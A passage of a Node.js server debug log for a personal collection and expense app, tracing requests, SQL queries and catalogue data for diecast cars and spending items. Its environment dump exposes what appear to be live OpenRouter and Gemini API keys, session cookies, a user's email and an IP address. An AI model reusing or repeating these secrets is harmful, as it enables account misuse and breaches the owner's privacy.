    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:03:48.866Z server-connect:router Serving templateView /diecast
2026-02-04T07:03:48.867Z server-connect:app Executing action step identify
2026-02-04T07:03:48.867Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:48.867Z server-connect:output identity: 1
2026-02-04T07:03:48.867Z server-connect:app Executing action step restrict
2026-02-04T07:03:48.867Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:03:48.867Z server-connect:output restrict: undefined
2026-02-04T07:03:48.867Z server-connect:router Render template layouts/main
2026-02-04T07:03:48.867Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T07:03:49.806Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T07:03:49.807Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:03:49.807Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T07:03:49.808Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:03:49.809Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:03:49.809Z server-connect:app Executing action step identify
2026-02-04T07:03:49.809Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:49.809Z server-connect:output identity: 1
2026-02-04T07:03:49.809Z server-connect:app Executing action step restrict
2026-02-04T07:03:49.809Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:49.810Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:03:49.810Z server-connect:app Executing action step identify
2026-02-04T07:03:49.810Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:49.810Z server-connect:output identity: 1
2026-02-04T07:03:49.810Z server-connect:app Executing action step restrict
2026-02-04T07:03:49.810Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:49.810Z server-connect:app Executing action step identify
2026-02-04T07:03:49.810Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:49.810Z server-connect:output identity: 1
2026-02-04T07:03:49.810Z server-connect:app Executing action step restrict
2026-02-04T07:03:49.810Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:49.810Z server-connect:output restrict: undefined
2026-02-04T07:03:49.810Z server-connect:app Executing action step select
2026-02-04T07:03:49.810Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T07:03:49.811Z server-connect:output restrict: undefined
2026-02-04T07:03:49.811Z server-connect:app Executing action step single
2026-02-04T07:03:49.811Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T07:03:49.811Z server-connect:output restrict: undefined
2026-02-04T07:03:49.811Z server-connect:app Executing action step select
2026-02-04T07:03:49.811Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:03:49.812Z server-connect:app Executing action step identify
2026-02-04T07:03:49.812Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:49.812Z server-connect:output identity: 1
2026-02-04T07:03:49.812Z server-connect:app Executing action step restrict
2026-02-04T07:03:49.812Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:49.812Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T07:03:49.813Z server-connect:app Executing action step identify
2026-02-04T07:03:49.813Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:49.813Z server-connect:output identity: 1
2026-02-04T07:03:49.813Z server-connect:app Executing action step restrict
2026-02-04T07:03:49.813Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:49.813Z server-connect:app Executing action step identify
2026-02-04T07:03:49.813Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:49.813Z server-connect:output identity: 1
2026-02-04T07:03:49.813Z server-connect:app Executing action step restrict
2026-02-04T07:03:49.813Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:49.814Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T07:03:49.814Z server-connect:output restrict: undefined
2026-02-04T07:03:49.814Z server-connect:app Executing action step select
2026-02-04T07:03:49.814Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:03:49.815Z server-connect:output restrict: undefined
2026-02-04T07:03:49.815Z server-connect:app Executing action step select
2026-02-04T07:03:49.815Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:03:49.816Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T07:03:49.817Z server-connect:output restrict: undefined
2026-02-04T07:03:49.817Z server-connect:app Executing action step paged
2026-02-04T07:03:49.817Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:03:49.818Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T07:03:49.819Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T07:03:49.822Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
